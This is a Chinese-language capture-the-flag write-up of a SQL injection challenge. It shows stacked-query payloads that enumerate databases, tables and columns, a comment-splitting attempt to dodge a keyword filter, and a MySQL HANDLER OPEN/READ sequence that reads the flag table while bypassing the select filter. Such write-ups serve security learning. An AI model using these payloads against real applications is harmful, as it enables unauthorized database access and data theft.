刚开始是这样
既然有个1那就先输入1查询一下吧
返回了一个数组
再加一个单引号,出现报错,说明存在SQL注入
看这个题第一想法就是堆叠注入
为了防止输入1时的干涉,我们输入0(单纯输入0是不会出现任何回应的)
0';show databases;#
然后得到数据库的名字
然后查询表格
0';show tables;#
FlagHere提示的已经很明显,我们来查询这个表格列名
0';show columns from `FlagHere`;#
本来是直接查询flag就可以了
0';select flag from `FlagHere`;#
但是此时提示不能出现以下关键词
我们知道/**/可以绕过检查,所以修改payload
0';sel/**/ect flag from `FlagHere`;#
但是竟然什么都没有
然后查询wp发现还有一种操作
HANDLER ... OPEN
语句打开一个表,使其可以使用后续HANDLER ... READ
语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE
或会话终止之前不会关闭
这是一个例子
HANDLER tbl_name OPEN [ [AS] alias]
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name CLOSE
更多可参考MySQL :: MySQL 8.0 Reference Manual :: 13.2.4 HANDLER Statement
所以按照这个重新构造payload
0';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
得到flag
感觉其他两个题和这个差不多,就把链接放下面了